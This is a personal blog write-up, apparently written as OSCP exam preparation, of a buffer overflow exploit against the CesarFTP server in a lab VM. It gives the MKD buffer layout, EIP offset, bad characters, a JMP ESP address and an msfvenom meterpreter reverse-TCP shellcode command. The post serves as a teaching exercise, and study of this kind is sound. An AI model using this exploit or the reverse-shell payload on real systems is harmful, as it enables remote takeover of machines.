Skip to main content

CesarFTP BOF Review / Review การทำ Buffer Overflow CesarFTP

version ภาษาไทย ไว้มีเวลาจะมา update ภายหลังครับ

Today I would like to review my old one lesson about buffer overflow before I take the OSCP exam in 2015. I wish you learn basic BOF from this post.

CesarFTP is the one ftp software which is vulnerabled to BOF (buffer overflow).

1. The first step I download vulnerabled software from internet and install on WinXP (vm) and then

2. Try to search for exploit in my kali linux  (No, I don't exploit by metasploit just find the start code and try to make it overflow)


This original python 1906.py code is as picture below. I have to change "host" ip before do next step.


***Let's take a look at "buffer". That is something I have to modify later.*** but right now I begin with Fuzzing to find how many characters can crash this application ?

3. Control EIP address

- try to replace character after  "\n" * 671 by "A" 350 characters and found that Cesar not be crashed.

- Let's try to reduce "A" character to 340 and found that Cesar be crashed. I know the approximately space for shellcode.

- use /usr/share/metasploit-framework/tools/pattern_create.rb 340  and paste instead of "A" characters, then send again.  I found EIP is overwritten by pattern  "41316141"


- use /usr/share/metasploit-framework/tools/pattern_offset.rb 41316141 and found that offset to EIP register is 3.


- modify python code as below 

buffer = "MKD "
buffer += "\n" * 671
buffer += 'A' * 3 + 'B' * 4 + 'C' * 333 
buffer += "\r\n"

and send it again to prove EIP location



Ok. EIP is overwritten by '\x42' character. Right now I know location of EIP and size of payload is not over 333 bytes.

2. Check Bad char

- create bad character and paste into python code as

buffer = "MKD "
buffer += "\n" * 671
buffer += 'A' * 3 + 'B' * 4 + badchar
buffer += "\r\n"

and send it to overflow app again.  Found that CesarFTP not crash. Let's identify bad char by cut over each character and found bad character are

0x00, 0x0a, 0x0d

remove all bad char and send it again.


ok. but actually in the end of exploit I found that "\xFF"  is bad char too.

3. Find location for PAYLOAD ( JMP ESP)

- use mona

!mona modules
!mona fiind -s "\xFF\xE4" -m user32.dll

- or click "e" and "m" to find library ( .dll )

in this case I find by this method  and found 0x7E455313 is JMP ESP of USER32.dll


I can overwrite EIP with JMP ESP 

4. Generate shellcode 

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.5.122 LPORT=4445 -f c -a x86 --platform windows -e x86/shikata_ga_nai -b '\x00\x0a\x0d\xff'

and paste shellcode into python script and fix code as  ( I add "\x90" to reliable exploit)

buffer = "MKD "
buffer += "\n" * 671
buffer += 'A' * 3 + intel_order(EIP) + '\x90' * 7 + shellcode 
buffer += "\r\n"

Comments

Popular posts from this blog

My OSCP Review <-> รีวิว ประสบการณ์การสอบ OSCP ( It is just the beginning)

เนื้อหาภาษาไทยสามารถดูได้ด้านล่างนะครับ About me I would like to tell you before that my english writing skill is not good, ^^", but I will try . I was Network Engineer and System Engineer with 10 years working experience and have CCNP, CCNP Security, CCDP, ITIL, MCP and I have experience in ISO27001 for 4 years. Right now I move to be a Penetration Tester in new company for 6 months. Inspiration Actually before getting a new job as pentester I would like to take CEH or ECSA certificate. But after do a new job, my three colleagues have OSCP and they are my model. All of them have an awesome skill. Then I try to find more information about OSCP and found that OSCP is very difficult to pass, no exam dump, no one answer you. Although I have a few experience on hacking but I think I can try and TRY HARDER. OSCP Course There are two course manual, pdf and video that are dependent. After I got them I tried to read from PDF only but not enough, many technics ar

Patch Management และ Hardening คืออะไร/ ยังไง พร้อมวิธีการ ตอนที่ 1

post นี้ก็เช่นเกียวกับโพสต์อื่นๆที่ ผู้เขียนเขียนขึ้นจากประสบการณ์การทำงานนะครับ ส่วนในเรื่องของ ISO27001 ทางผู้เขียนยังไม่รู้ครอบคลุมขนาดนั้น ขอยังไม่กล่าวถึง คงได้เขียนหลังจากสอบ CISSP ได้แล้ว (ตอนนี้ยังอยู่ในวงการ Pentest อยู่เลยจ้า) คืออะไร ? Patch Management และ Hardening  -  เป็นส่วนนึงของ configuration management process ใน ISO27001 และมาตรฐานทางด้านความปลอดถัยอื่นๆ ด้วย  ทำไมต้องมีการทำ patch และ hardening เรื่องของ Patch management จริงๆ ก็จะเกี่ยวข้องกับการทำ Hardening นะละ นั่นคือทำเพื่อปิดช่องโหว่ให้น้อยที่สุดเพื่อลดความเสี่ยงที่จะถูกโจมตีจากผู้ไม่ประสงค์ดี มันก็ไม่ดีใช่ไหมละ ถ้าระบบของเราโดนโจมตี ซึ่งอาจจะเป็นในแง่ของการขโมยข้อมูล หรือที่องค์กรส่วนใหญ่รับไม่ค่อยได้คือการโดน dos จนทำให้อุปกรณ์ไม่สามารถให้บริการต่อได้ ก็เรื่อง Availability ไง ในบางบริษัทที่มีการทำ transaction เกี่ยวกับเงินนี่ เขาคิดค่าเสียหายเป็นนาทีเลยนะ ล่มแค่ครึ่งชั่วโมงก็เสียหายหนักแล้ว กระบวนการการทำ Patch กับ hardening ก็จะมีดังนี้ คือ เขียน flow ให้ดูกันง่ายๆ อ่านคำอธิบายต่อได้ด้า